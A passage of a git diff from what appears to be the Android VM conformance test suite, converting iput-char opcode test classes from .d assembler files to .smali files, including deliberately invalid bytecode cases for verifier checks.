-       const v1, 77
-       iput-char v1, v0, dot.junit.opcodes.iput_char.d.T_iput_char_13.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali
new file mode 100644
index 0000000..66b858e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_13.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_13;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.d
deleted file mode 100644
index 71dca61..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_14.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_14
-.super dot/junit/opcodes/iput_char/d/T_iput_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_char/d/T_iput_char_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()C
-.limit regs 2
-
-       iget-char v0, v1, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_p1 C
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_p1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali
new file mode 100644
index 0000000..488b7ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_14.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_14;
+.super  Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()C
+.registers 2
+
+       iget-char v0, v1, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_p1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_p1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.d
deleted file mode 100644
index 4cccb49..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_15.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_15
-.super dot/junit/opcodes/iput_char/d/T_iput_char_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_char/d/T_iput_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_pvt1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali
new file mode 100644
index 0000000..5a2284b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_15.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_15;
+.super  Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_pvt1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.d
deleted file mode 100644
index 61e503d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_17.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_17.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali
new file mode 100644
index 0000000..8d352d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_17.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_17;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.d
deleted file mode 100644
index a9d9ac9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_18.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali
new file mode 100644
index 0000000..3e30c90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_18.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.d
deleted file mode 100644
index cc8cd62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_2.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_2
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-char v0, v2, dot.junit.opcodes.iput_char.d.T_iput_char_4.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali
new file mode 100644
index 0000000..7d6c00e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_2.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-char v0, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_4;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.d
deleted file mode 100644
index 5aa31b2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_20.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_20
-.super java/lang/Object
-
-.field public  st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-char v3, v3, dot.junit.opcodes.iput_char.d.T_iput_char_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.smali
new file mode 100644
index 0000000..1c4b536
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_char/d/T_iput_char_20;
+.super Ljava/lang/Object;
+.source "T_iput_char_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    iput-char p0, p0, Ldot/junit/opcodes/iput_char/d/T_iput_char_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.d
deleted file mode 100644
index b9f7cc6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_21.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_21
-.super java/lang/Object
-
-.field public  st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       iput-char v0, v3, dot.junit.opcodes.iput_char.d.T_iput_char_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali
new file mode 100644
index 0000000..d391d08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_21.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.d
deleted file mode 100644
index ca94dbd5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_22.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-char v0, v3, dot.junit.opcodes.iput_char.d.T_iput_char_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali
new file mode 100644
index 0000000..753c676
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_22.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.d
deleted file mode 100644
index 3494a90..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_23.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_23
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-char v0, v3, dot.junit.opcodes.iput_char.d.T_iput_char_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali
new file mode 100644
index 0000000..6f385bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_23.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.d
deleted file mode 100644
index d148a4b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_24.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-char v0, v3, dot.junit.opcodes.iput_char.d.T_iput_char_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali
new file mode 100644
index 0000000..94a1ff2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_24.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.d
deleted file mode 100644
index 05233a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_3.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_3
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-char v0, v2, dot.junit.opcodes.iput_char.d.T_iput_char_3.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali
new file mode 100644
index 0000000..39df7e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
